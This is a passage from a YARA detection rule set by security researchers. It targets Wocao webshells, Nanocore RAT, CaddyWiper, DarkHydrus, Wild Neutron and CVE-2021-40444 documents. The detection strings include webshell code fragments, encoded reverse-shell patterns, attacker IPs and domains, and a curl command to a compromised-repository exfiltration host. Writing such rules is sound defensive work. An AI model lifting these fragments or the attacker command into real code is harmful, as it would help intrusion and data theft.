		$str_1 = "Usage: getos.py <ip-range|ip-file>" ascii wide
		$str_2 = "The path '%s' write fails." ascii wide
		$str_3 = "Receive a signal %d," ascii wide
		$str_4 = "Scan Complete!" ascii wide
		$str_5 = "line: %d, %s: %s" ascii wide
		$str_6 = "Other error." ascii wide

	condition:
		( all of ( $smb_* ) ) or ( all of ( $smbstr_* ) ) or ( 3 of ( $code_* ) ) or ( all of ( $tsk_* ) ) or ( 3 of ( $str_* ) )
}

rule APT_MAL_CN_Wocao_info_vbs
{
	meta:
		description = "Strings from the information grabber VBS"
		author = "Fox-IT SRT"
		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
		id = "b719fb31-2836-5faf-a7c8-c361a14df2be"

	strings:
		$ = "Logger PingConnect"
		$ = "Logger GetAdmins"
		$ = "Logger InstallPro"
		$ = "Logger Exec"
		$ = "retstr = adminsName & \" Members\" & vbCrLf & _"
		$ = "Logger VolumeName & \" (\" & objDrive.DriveLetter & \":)\" _"
		$ = "txtRes = txtRes & machine & \" can"
		$ = "retstr = \"PID   SID Image Name\" & vbCrLf & \"===="

	condition:
		4 of them
}

rule APT_MAL_CN_Wocao_webshell_console_jsp
{
	meta:
		description = "Strings from the console.jsp webshell"
		author = "Fox-IT SRT"
		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
		id = "1afdfc34-d2e3-58c7-80ea-ee5632e42469"

	strings:
		$a = "String strLogo = request.getParameter(\"image\")"
		$b = "!strLogo.equals(\"web.gif\")"
		$c = "<font color=red>Save Failed!</font>"
		$d = "<font color=red>Save Success!</font>"
		$e = "Save path:<br><input type=text"
		$f = "if (newfile.exists() && newfile.length()>0) { out.println"

	condition:
		1 of them
}

rule APT_MAL_CN_Wocao_webshell_index_jsp
{
	meta:
		description = "Strings from the index.jsp socket tunnel"
		author = "Fox-IT SRT"
		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
		id = "9c226ccd-6c69-523c-bca4-371e55274667"

	strings:
		$x1 = "X-CMD"
		$x2 = "X-STATUS"
		$x3 = "X-TARGET"
		$x4 = "X-ERROR"
		$a = "out.print(\"All seems fine.\");"

	condition:
		all of ( $x* ) and $a
}

rule APT_MAL_CN_Wocao_webshell_ver_jsp
{
	meta:
		description = "Strings from the ver.jsp webshell"
		author = "Fox-IT SRT"
		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
		id = "b2828b84-8934-5111-9345-683a07025070"

	strings:
		$a = "String strLogo = request.getParameter(\"id\")"
		$b = "!strLogo.equals(\"256\")"
		$c = "boolean chkos = msg.startsWith"
		$d = "while((c = er.read()) != -1)"
		$e = "out.print((char)c);}in.close()"
		$f = "out.print((char)c);}er.close()"

	condition:
		1 of them
}

rule APT_MAL_CN_Wocao_webshell_webinfo
{
	meta:
		description = "Generic strings from webinfo.war webshells"
		author = "Fox-IT SRT"
		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
		id = "b8477f62-f3f6-5526-b0e3-9b794fefaa1f"

	strings:
		$var1 = "String strLogo = request.getParameter"
		$var2 = "String content = request.getParameter(\"content\");"
		$var3 = "String basePath=request.getScheme()"
		$var4 = "!strLogo.equals("
		$var5 = "if(path!=null && !path.equals(\"\") && content!=null"
		$var6 = "File newfile=new File(path);"
		$str1 = "Save Success!"
		$str2 = "Save Failed!"

	condition:
		2 of ( $var* ) or ( all of ( $str* ) and 1 of ( $var* ) )
}

rule gen_python_reverse_shell
{
	meta:
		description = "Python Base64 encoded reverse shell"
		author = "John Lambert @JohnLaTwC"
		reference = "https://www.virustotal.com/en/file/9ec5102bcbabc45f2aa7775464f33019cfbe9d766b1332ee675957c923a17efd/analysis/"
		date = "2018-02-24"
		hash1 = "9ec5102bcbabc45f2aa7775464f33019cfbe9d766b1332ee675957c923a17efd"
		hash2 = "bfb5c622a3352bb71b86df81c45ccefaa68b9f7cc0a3577e8013aad951308f12"
		id = "dda831ae-d0ca-5d5a-bdb3-e7c146a770b4"

	strings:
		$h1 = "import base64" fullword ascii
		$s1 = "b64decode" fullword ascii
		$s2 = "lambda" fullword ascii
		$s3 = "version_info" fullword ascii
		$enc_x0 = /(AG8AYwBrAGUAdAAuAFMATwBDAEsAXwBTAFQAUgBFAEEATQ|b2NrZXQuU09DS19TVFJFQU|c29ja2V0LlNPQ0tfU1RSRUFN|cwBvAGMAawBlAHQALgBTAE8AQwBLAF8AUwBUAFIARQBBAE0A|MAbwBjAGsAZQB0AC4AUwBPAEMASwBfAFMAVABSAEUAQQBNA|NvY2tldC5TT0NLX1NUUkVBT)/ ascii
		$enc_x1 = /(4AYwBvAG4AbgBlAGMAdAAoACgA|5jb25uZWN0KC|AGMAbwBuAG4AZQBjAHQAKAAoA|LgBjAG8AbgBuAGUAYwB0ACgAKA|LmNvbm5lY3QoK|Y29ubmVjdCgo)/
		$enc_x2 = /(AGkAbQBlAC4AcwBsAGUAZQBwA|aW1lLnNsZWVw|dABpAG0AZQAuAHMAbABlAGUAcA|dGltZS5zbGVlc|QAaQBtAGUALgBzAGwAZQBlAHAA|RpbWUuc2xlZX)/
		$enc_x3 = /(4AcgBlAGMAdg|5yZWN2|AHIAZQBjAHYA|cmVjd|LgByAGUAYwB2A|LnJlY3)/

	condition:
		uint32be( 0 ) == 0x696d706f and $h1 at 0 and filesize < 40KB and all of ( $s* ) and all of ( $enc_x* )
}

rule MAL_Github_Repo_Compromise_MyJino_Ru_Aug22
{
	meta:
		description = "Detects URL mentioned in report on compromised Github repositories in August 2022"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/stephenlacy/status/1554697077430505473"
		date = "2022-08-03"
		score = 90
		id = "1eaabad5-d0de-5d17-a5fa-3c638354843d"

	strings:
		$x1 = "curl http://ovz1.j19544519.pr46m.vps.myjino.ru" ascii wide
		$x2 = "http__.Post(\"http://ovz1.j19544519.pr46m.vps.myjino.ru" ascii wide

	condition:
		1 of them
}

rule MAL_WIPER_CaddyWiper_Mar22_1
{
	meta:
		description = "Detects CaddyWiper malware"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/ESETresearch/status/1503436420886712321?s=20&t=xh8JK6fEmRIrnqO7Ih_PNg"
		date = "2022-03-15"
		score = 85
		hash1 = "1e87e9b5ee7597bdce796490f3ee09211df48ba1d11f6e2f5b255f05cc0ba176"
		hash2 = "a294620543334a721a2ae8eaaf9680a0786f4b9a216d75b55cfd28f39e9430ea"
		hash3 = "ea6a416b320f32261da8dafcf2faf088924f99a3a84f7b43b964637ea87aef72"
		hash4 = "f1e8844dbfc812d39f369e7670545a29efef6764d673038b1c3edd11561d6902"
		id = "83495a0d-a295-5ec7-9761-ce79918e1034"

	strings:
		$op1 = { ff 55 94 8b 45 fc 50 ff 55 f8 8a 4d ba 88 4d ba 8a 55 ba 80 ea 01 }
		$op2 = { 89 45 f4 83 7d f4 00 74 04 eb 47 eb 45 6a 00 8d 95 1c ff ff ff 52 }
		$op3 = { 6a 20 6a 02 8d 4d b0 51 ff 95 68 ff ff ff 85 c0 75 0a e9 4e 02 00 00 }
		$op4 = { e9 67 01 00 00 83 7d f4 05 74 0a e9 5c 01 00 00 e9 57 01 00 00 8d 45 98 50 6a 20 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 50KB and 3 of them or all of them
}

import "pe"

rule APT_DarkHydrus_Jul18_1
{
	meta:
		description = "Detects strings found in malware samples in APT report in DarkHydrus"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"
		date = "2018-07-28"
		hash1 = "99541ab28fc3328e25723607df4b0d9ea0a1af31b58e2da07eff9f15c4e6565c"
		id = "fbd001c0-43c9-5429-84d6-7f62eadd8ff3"

	strings:
		$x1 = "Z:\\devcenter\\aggressor\\" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 600KB and ( pe.imphash ( ) == "d3666d1cde4790b22b44ec35976687fb" or 1 of them )
}

rule APT_DarkHydrus_Jul18_2
{
	meta:
		description = "Detects strings found in malware samples in APT report in DarkHydrus"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"
		date = "2018-07-28"
		hash1 = "b2571e3b4afbce56da8faa726b726eb465f2e5e5ed74cf3b172b5dd80460ad81"
		id = "1a21cbbf-f7e1-56eb-973b-35c1a811e210"

	strings:
		$s4 = "windir" fullword ascii
		$s6 = "temp.dll" fullword ascii
		$s7 = "libgcj-12.dll" fullword ascii
		$s8 = "%s\\System32\\%s" fullword ascii
		$s9 = "StartW" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 40KB and all of them
}

import "pe"

rule APT_DarkHydrus_Jul18_3
{
	meta:
		description = "Detects strings found in malware samples in APT report in DarkHydrus"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"
		date = "2018-07-28"
		hash1 = "c8b3d4b6acce6b6655e17255ef7a214651b7fc4e43f9964df24556343393a1a3"
		id = "1f766b49-3173-5f8a-ba52-a9ce9000be79"

	strings:
		$s2 = "Ws2_32.dll" fullword ascii
		$s3 = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0)" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and ( pe.imphash ( ) == "478eacfbe2b201dabe63be53f34148a5" or all of them )
}

import "pe"

rule HKTL_Unlicensed_CobaltStrike_EICAR_Jul18_5
{
	meta:
		description = "Detects strings found in CobaltStrike shellcode"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"
		date = "2018-07-28"
		modified = "2021-06-17"
		hash1 = "cec36e8ed65ac6f250c05b4a17c09f58bb80c19b73169aaf40fa15c8d3a9a6a1"
		id = "d52536b8-dd6b-59be-8761-d22b6a279114"

	strings:
		$x1 = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
		$s1 = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*" fullword ascii
		$s2 = "libgcj-12.dll" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 900KB and ( pe.imphash ( ) == "829da329ce140d873b4a8bde2cbfaa7e" or all of ( $s* ) or $x1 )
}

rule REGEORG_Tuneller_generic
{
	meta:
		author = "Mandiant"
		date = "2021-12-20"
		date_modified = "2021-12-20"
		hash = "ba22992ce835dadcd06bff4ab7b162f9"
		reference = "https://www.mandiant.com/resources/unc3524-eye-spy-email"
		id = "a87979b7-2732-5a32-b3f3-a815a58b6589"

	strings:
		$s1 = "System.Net.IPEndPoint"
		$s2 = "Response.AddHeader"
		$s3 = "Request.InputStream.Read"
		$s4 = "Request.Headers.Get"
		$s5 = "Response.Write"
		$s6 = "System.Buffer.BlockCopy"
		$s7 = "Response.BinaryWrite"
		$s8 = "SocketException soex"

	condition:
		filesize < 1MB and 7 of them
}

rule EXPL_CVE_2021_40444_Document_Rels_XML
{
	meta:
		description = "Detects indicators found in weaponized documents that exploit CVE-2021-40444"
		author = "Jeremy Brown / @alteredbytes"
		reference = "https://twitter.com/AlteredBytes/status/1435811407249952772"
		date = "2021-09-10"
		id = "812bb68e-71ea-5a9a-8d39-ab99fdaa6c58"

	strings:
		$b1 = "/relationships/oleObject" ascii
		$b2 = "/relationships/attachedTemplate" ascii
		$c1 = "Target=\"mhtml:http" nocase
		$c2 = "!x-usc:http" nocase
		$c3 = "TargetMode=\"External\"" nocase

	condition:
		uint32( 0 ) == 0x6D783F3C and filesize < 10KB and 1 of ( $b* ) and all of ( $c* )
}

rule EXPL_MAL_MalDoc_OBFUSCT_MHTML_Sep21_1
{
	meta:
		description = "Detects suspicious office reference files including an obfuscated MHTML reference exploiting CVE-2021-40444"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/decalage2/status/1438946225190014984?s=20"
		date = "2021-09-18"
		score = 90
		hash = "84674acffba5101c8ac518019a9afe2a78a675ef3525a44dceddeed8a0092c69"
		id = "781cfd61-d5ac-58e5-868f-dbd2a2df3500"

	strings:
		$h1 = "<?xml " ascii wide
		$s1 = "109;&#104;&#116;&#109;&#108;&#58;&#104;&#116;&#109;&#108" ascii wide

	condition:
		filesize < 25KB and all of them
}

rule EXPL_XML_Encoded_CVE_2021_40444
{
	meta:
		author = "James E.C, Proofpoint"
		description = "Detects possible CVE-2021-40444 with no encoding, HTML/XML entity (and hex notation) encoding, or all 3"
		reference = "https://twitter.com/sudosev/status/1439205606129377282"
		date = "2021-09-18"
		modified = "2021-09-19"
		score = 70
		hash = "13DE9F39B1AD232E704B5E0B5051800FCD844E9F661185ACE8287A23E9B3868E"
		hash = "84674ACFFBA5101C8AC518019A9AFE2A78A675EF3525A44DCEDDEED8A0092C69"
		id = "4bf9ec64-c662-5c8f-9e58-12a7412ef07d"

	strings:
		$h1 = "<?xml " ascii wide
		$t_xml_r = /Target[\s]{0,20}=[\s]{0,20}\["']([Mm]|&#(109|77|x6d|x4d);)([Hh]|&#(104|72|x68|x48);)([Tt]|&#(116|84|x74|x54);)([Mm]|&#(109|77|x6d|x4d);)([Ll]|&#(108|76|x6c|x4c);)(:|&#58;|&#x3a)/
		$t_mode_r = /TargetMode[\s]{0,20}=[\s]{0,20}\["']([Ee]|&#(x45|x65|69|101);)([Xx]|&#(x58|x78|88|120);)([Tt]|&#(x74|x54|84|116);)/

	condition:
		filesize < 500KB and $h1 and all of ( $t_* )
}

rule SUSP_OBFUSC_Indiators_XML_OfficeDoc_Sep21_1 : Windows CVE
{
	meta:
		author = "Florian Roth (Nextron Systems)"
		description = "Detects suspicious encodings in fields used in reference files found in weaponized MS Office documents"
		reference = "https://twitter.com/sudosev/status/1439205606129377282"
		date = "2021-09-18"
		score = 65
		hash = "13DE9F39B1AD232E704B5E0B5051800FCD844E9F661185ACE8287A23E9B3868E"
		hash = "84674ACFFBA5101C8AC518019A9AFE2A78A675EF3525A44DCEDDEED8A0092C69"
		id = "ffcaf270-f574-5692-90e5-6776c34eb71b"

	strings:
		$h1 = "<?xml " ascii wide
		$xml_e = "Target=\"&#" ascii wide
		$xml_mode_1 = "TargetMode=\"&#" ascii wide

	condition:
		filesize < 500KB and $h1 and 1 of ( $xml* )
}

rule SUSP_OBFUSC_Indiators_XML_OfficeDoc_Sep21_2 : Windows CVE
{
	meta:
		author = "Florian Roth (Nextron Systems)"
		description = "Detects suspicious encodings in fields used in reference files found in weaponized MS Office documents"
		reference = "https://twitter.com/sudosev/status/1439205606129377282"
		date = "2021-09-18"
		score = 65
		id = "c3c5ec4f-5d2a-523c-bd4b-b75c04bac87d"

	strings:
		$h1 = "<?xml " ascii wide
		$a1 = "Target" ascii wide
		$a2 = "TargetMode" ascii wide
		$xml_e = "&#x0000" ascii wide

	condition:
		filesize < 500KB and all of them
}

rule Nanocore_RAT_Gen_1
{
	meta:
		description = "Detetcs the Nanocore RAT and similar malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/"
		date = "2016-04-22"
		score = 70
		hash1 = "e707a7745e346c5df59b5aa4df084574ae7c204f4fb7f924c0586ae03b79bf06"
		id = "b007e0ce-e64f-5027-95ff-d178383e3b59"

	strings:
		$x1 = "C:\\Users\\Logintech\\Dropbox\\Projects\\New folder\\Latest\\Benchmark\\Benchmark\\obj\\Release\\Benchmark.pdb" fullword ascii
		$x2 = "RunPE1" fullword ascii
		$x3 = "082B8C7D3F9105DC66A7E3267C9750CF43E9D325" fullword ascii
		$x4 = "$374e0775-e893-4e72-806c-a8d880a49ae7" fullword ascii
		$x5 = "Monitorinjection" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 100KB and ( 1 of them ) ) or ( 3 of them )
}

rule Nanocore_RAT_Gen_2
{
	meta:
		description = "Detetcs the Nanocore RAT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		score = 100
		reference = "https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/"
		date = "2016-04-22"
		hash1 = "755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050"
		id = "74124961-3b0e-5808-b495-90437d3a5999"

	strings:
		$x1 = "NanoCore.ClientPluginHost" fullword ascii
		$x2 = "IClientNetworkHost" fullword ascii
		$x3 = "#=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 1000KB and 1 of them ) or ( all of them )
}

rule Nanocore_RAT_Sample_1
{
	meta:
		description = "Detetcs a certain Nanocore RAT sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		score = 75
		reference = "https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/"
		date = "2016-04-22"
		hash2 = "b7cfc7e9551b15319c068aae966f8a9ff563b522ed9b1b42d19c122778e018c8"
		id = "381d3caf-77de-544c-869c-4d9f0cae148f"

	strings:
		$x1 = "TbSiaEdJTf9m1uTnpjS.n9n9M7dZ7FH9JsBARgK" fullword wide
		$x2 = "1EF0D55861681D4D208EC3070B720C21D885CB35" fullword ascii
		$x3 = "popthatkitty.Resources.resources" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 900KB and ( 1 of ( $x* ) ) ) or ( all of them )
}

rule Nanocore_RAT_Sample_2
{
	meta:
		description = "Detetcs a certain Nanocore RAT sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		score = 75
		reference = "https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/"
		date = "2016-04-22"
		hash1 = "51142d1fb6c080b3b754a92e8f5826295f5da316ec72b480967cbd68432cede1"
		id = "81f6771a-29a3-5fa0-8d24-ea717d3c5251"

	strings:
		$s1 = "U4tSOtmpM" fullword ascii
		$s2 = ")U71UDAU_QU_YU_aU_iU_qU_yU_" wide
		$s3 = "Cy4tOtTmpMtTHVFOrR" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 40KB and all of ( $s* )
}

rule Nanocore_RAT_Feb18_1
{
	meta:
		description = "Detects Nanocore RAT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research - T2T"
		date = "2018-02-19"
		hash1 = "aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c"
		id = "6db0c8a7-8c31-58a6-8732-de6663fec16b"

	strings:
		$x1 = "NanoCore Client.exe" fullword ascii
		$x2 = "NanoCore.ClientPluginHost" fullword ascii
		$s1 = "PluginCommand" fullword ascii
		$s2 = "FileCommand" fullword ascii
		$s3 = "PipeExists" fullword ascii
		$s4 = "PipeCreated" fullword ascii
		$s5 = "IClientLoggingHost" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 600KB and ( 1 of ( $x* ) or 5 of them )
}

rule Nanocore_RAT_Feb18_2
{
	meta:
		description = "Detects Nanocore RAT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research - T2T"
		date = "2018-02-19"
		hash1 = "377ef8febfd8df1a57a7966043ff0c7b8f3973c2cf666136e6c04080bbf9881a"
		id = "83a8ad4d-0bef-5ba2-aa10-eac5601f2c7b"

	strings:
		$s1 = "ResManagerRunnable" fullword ascii
		$s2 = "TransformRunnable" fullword ascii
		$s3 = "MethodInfoRunnable" fullword ascii
		$s4 = "ResRunnable" fullword ascii
		$s5 = "RunRunnable" fullword ascii
		$s6 = "AsmRunnable" fullword ascii
		$s7 = "ReadRunnable" fullword ascii
		$s8 = "ExitRunnable" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and all of them
}

rule WildNeutron_Sample_1
{
	meta:
		description = "Wild Neutron APT Sample Rule"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
		date = "2015-07-10"
		score = 60
		hash = "2b5065a3d0e0b8252a987ef5f29d9e1935c5863f5718b83440e68dc53c21fa94"
		id = "7bcb407f-7f01-540a-852c-a37456270888"

	strings:
		$s0 = "LiveUpdater.exe" fullword wide
		$s1 = "id-at-postalAddress" fullword ascii
		$s2 = "%d -> %d (default)" fullword wide
		$s3 = "%s%s%s=%d,%s=%d,%s=%d," fullword wide
		$s8 = "id-ce-keyUsage" fullword ascii
		$s9 = "Key Usage" fullword ascii
		$s32 = "UPDATE_ID" fullword wide
		$s37 = "id-at-commonName" fullword ascii
		$s38 = "2008R2" fullword wide
		$s39 = "RSA-alt" fullword ascii
		$s40 = "%02d.%04d.%s" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 800KB and all of them
}

rule WildNeutron_Sample_2
{
	meta:
		description = "Wild Neutron APT Sample Rule"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
		date = "2015-07-10"
		score = 60
		hash = "8d80f9ef55324212759f4b6070cb8fce18a008ae9dd8b9598553206654d13a6f"
		id = "1893c251-f81a-5361-91fa-f91a6d1379d2"

	strings:
		$s0 = "rundll32.exe \"%s\",#1" fullword wide
		$s1 = "IgfxUpt.exe" fullword wide
		$s2 = "id-at-postalAddress" fullword ascii
		$s3 = "Intel(R) Common User Interface" fullword wide
		$s4 = "%s%s%s=%d,%s=%d,%s=%d," fullword wide
		$s11 = "Key Usage" fullword ascii
		$s12 = "Intel Integrated Graphics Updater" fullword wide
		$s13 = "%sexpires on    : %04d-%02d-%02d %02d:%02d:%02d" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 600KB and all of them
}

rule WildNeutron_Sample_3
{
	meta:
		description = "Wild Neutron APT Sample Rule"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
		date = "2015-07-10"
		score = 60
		hash = "c2c761cde3175f6e40ed934f2e82c76602c81e2128187bab61793ddb3bc686d0"
		id = "1c5d1442-b2be-5a34-b5c9-78aaf67072c4"

	strings:
		$x1 = "178.162.197.9" fullword ascii
		$x2 = "\"http://fw.ddosprotected.eu:80 /opts resolv=drfx.chickenkiller.com\"" fullword wide
		$s1 = "LiveUpdater.exe" fullword wide
		$s2 = "id-at-postalAddress" fullword ascii
		$s3 = "%d -> %d (default)" fullword wide
		$s4 = "%s%s%s=%d,%s=%d,%s=%d," fullword wide
		$s5 = "id-at-serialNumber" fullword ascii
		$s6 = "ECDSA with SHA256" fullword ascii
		$s7 = "Acer LiveUpdater" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2020KB and ( 1 of ( $x* ) or all of ( $s* ) )
}

rule WildNeutron_Sample_4
{
	meta:
		description = "Wild Neutron APT Sample Rule"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
		date = "2015-07-10"
		score = 60
		hash = "b4005530193bc523d3e0193c3c53e2737ae3bf9f76d12c827c0b5cd0dcbaae45"
		id = "52ff5770-1ca4-54d9-b69d-8af0c392084e"

	strings:
		$x1 = "WinRAT-Win32-Release.exe" fullword ascii
		$s0 = "rundll32.exe \"%s\",#1" fullword wide
		$s1 = "RtlUpd.EXE" fullword wide
		$s2 = "RtlUpd.exe" fullword wide
		$s3 = "Driver Update and remove for Windows x64 or x86_32" fullword wide
		$s4 = "Realtek HD Audio Update and remove driver Tool" fullword wide
		$s5 = "%s%s%s=%d,%s=%d,%s=%d," fullword wide
		$s6 = "Key Usage" fullword ascii
		$s7 = "id-at-serialNumber" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1240KB and all of them
}

rule WildNeutron_Sample_5
{
	meta:
		description = "Wild Neutron APT Sample Rule"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
		date = "2015-07-10"
		score = 60
		hash = "1604e36ccef5fa221b101d7f043ad7f856b84bf1a80774aa33d91c2a9a226206"
		id = "0df63255-155d-56b9-b86b-491855983095"

	strings:
		$s0 = "LiveUpdater.exe" fullword wide
		$s1 = "id-at-postalAddress" fullword ascii
		$s2 = "%d -> %d (default)" fullword wide
		$s3 = "%s%s%s=%d,%s=%d,%s=%d," fullword wide
		$s4 = "sha-1WithRSAEncryption" fullword ascii
		$s5 = "Postal code" fullword ascii
		$s6 = "id-ce-keyUsage" fullword ascii
		$s7 = "Key Usage" fullword ascii
		$s8 = "TLS-RSA-WITH-3DES-EDE-CBC-SHA" fullword ascii
		$s9 = "%02d.%04d.%s" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and all of them
}

rule WildNeutron_Sample_6
{
	meta:
		description = "Wild Neutron APT Sample Rule"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
		date = "2015-07-10"
		score = 60
		hash = "4bd548fe07b19178281edb1ee81c9711525dab03dc0b6676963019c44cc75865"
		id = "c5d87cad-d1ca-5766-90c1-fc8ecfa3f14f"

	strings:
		$s0 = "mshtaex.exe" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 310KB and all of them
}

rule WildNeutron_Sample_7
{
	meta:
		description = "Wild Neutron APT Sample Rule"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/"
		date = "2015-07-10"
		score = 60
		hash = "a14d31eb965ea8a37ebcc3b5635099f2ca08365646437c770212d534d504ff3c"
		id = "22561c55-4294-50c9-a9b9-7b4ed98eec09"

	strings:
		$s0 = "checking match for '%s' user %s host %s addr %s" fullword ascii
		$s1 = "PEM_read_bio_PrivateKey failed" fullword ascii
		$s2 = "usage: %s [-ehR] [-f log_facility] [-l log_level] [-u umask]" fullword ascii
		$s3 = "%s %s for %s%.100s from %.200s port %d%s" fullword ascii
		$s4 = "clapi32.dll" fullword ascii
		$s5 = "Connection from %s port %d" fullword ascii
		$s6 = "/usr/etc/ssh_known_hosts" fullword ascii
		$s7 = "Version: %s - %s %s %s %s" fullword ascii
		$s8 = "[-] connect()" fullword ascii
		$s9 = "/bin/sh /usr/etc/sshrc" fullword ascii
		$s10 = "kexecdhs.c" fullword ascii
		$s11 = "%s: setrlimit(RLIMIT_FSIZE, { 0, 0 }): %s" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 5000KB and all of them
}

rule WildNeutron_Sample_9
{
	meta:
		description = "Wild Neutron APT Sample Rule"
		author = "Florian Roth (Nextron Systems)"
